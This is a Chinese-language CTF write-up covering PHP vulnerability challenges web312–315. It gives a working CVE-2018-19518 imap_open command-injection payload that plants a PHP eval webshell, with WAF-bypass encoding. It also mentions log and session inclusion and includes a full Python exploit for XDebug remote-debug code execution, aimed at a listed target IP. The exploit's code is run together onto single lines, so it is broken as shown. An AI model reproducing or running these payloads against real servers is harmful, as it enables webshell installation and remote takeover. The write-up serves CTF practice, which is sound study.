phpcve篇
web312
CVE-2018-19518
漏洞原理
IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143,在php中调用的是imap_open函数来实现功能
imap_open(string $mailbox,string $user,string $password)
其中参数mailbox,是用来连接邮箱服务器的,它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh
又因为ssh命令中可以通过设置oProxyCommand来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞影响版本:
Ubuntu、Debian、Red Hat、SUSE
PHP 5.6.x < 5.6.39
也就是说我们可以通过对第一个参数(也就是用来ssh连接的参数)进行oProxyCommand命令注入从而实现rce!
由于是连接自然没有回显,所以我们直接写文件(写马)即可
payload:
x+-oProxyCommand=echo echo '<?php @eval($_POST[1]);' > /var/www/html/1.php|base64 -d|sh}
将那部分base64编码即可,主要是为了绕过
但是空格也被过滤了,所以用%09
最终
hostname=x+-oProxyCommand=echo%09ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzFdKTsnID
4gL3Zhci93d3cvaHRtbC8xLnBocA==|base64%09-d|sh}
&username=rrr&password=rrr
主要是那几个版本以及邮箱的连接,利用原本用来ssh连接的邮箱参数进行x+-oProxyCommand注入,然后绕过用base64和%09绕过waf即可!
web314
这个简单了
伪协议不能用了,用日志包含写马或者session包含也可,因为session.upload_progress.enabled这个配置项开了!
web315
开启了远程调试模式,并设置
remote_connect_back = 1
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
题目应该都是开了的
这个配置下,我们访问http://target-url/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
exp脚本如下:
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutorpool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}def recv_xml(sock):blocks = []data = b''while True:try:data = data + sock.recv(1024)except socket.error as e:breakif not data:breakwhile data:eop = data.find(b'\x00')if eop < 0:breakblocks.append(data[:eop])data = data[eop + 1:]if len(blocks) >= 4:breakreturn blocks[3]def trigger(url):time.sleep(2)try:session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)except:passif __name__ == '__main__':parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')parser.add_argument('-t', '--target', required=True, help='target url.')parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')args = parser.parse_args()ip_port = ('0.0.0.0', args.listen)sk = socket.socket()sk.settimeout(10)sk.bind(ip_port)sk.listen(5)pool.submit(trigger, args.target)conn, addr = sk.accept()conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))data = recv_xml(conn)print('[+] Recieve data: ' + data.decode())g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)if not g:print('[-] No result...')sys.exit(0)data = g.group(1)try:print('[+] Result: ' + base64.b64decode(data).decode())except binascii.Error:print('[-] May be not string result...')
注意要在vps上运行,因为是反向连接,需要公网
运行的参数:python3 exp.py -t http://49.235.148.38:28100/index.php -c 'shell_exec("ls");' -l 9000
估计是环境又挂了!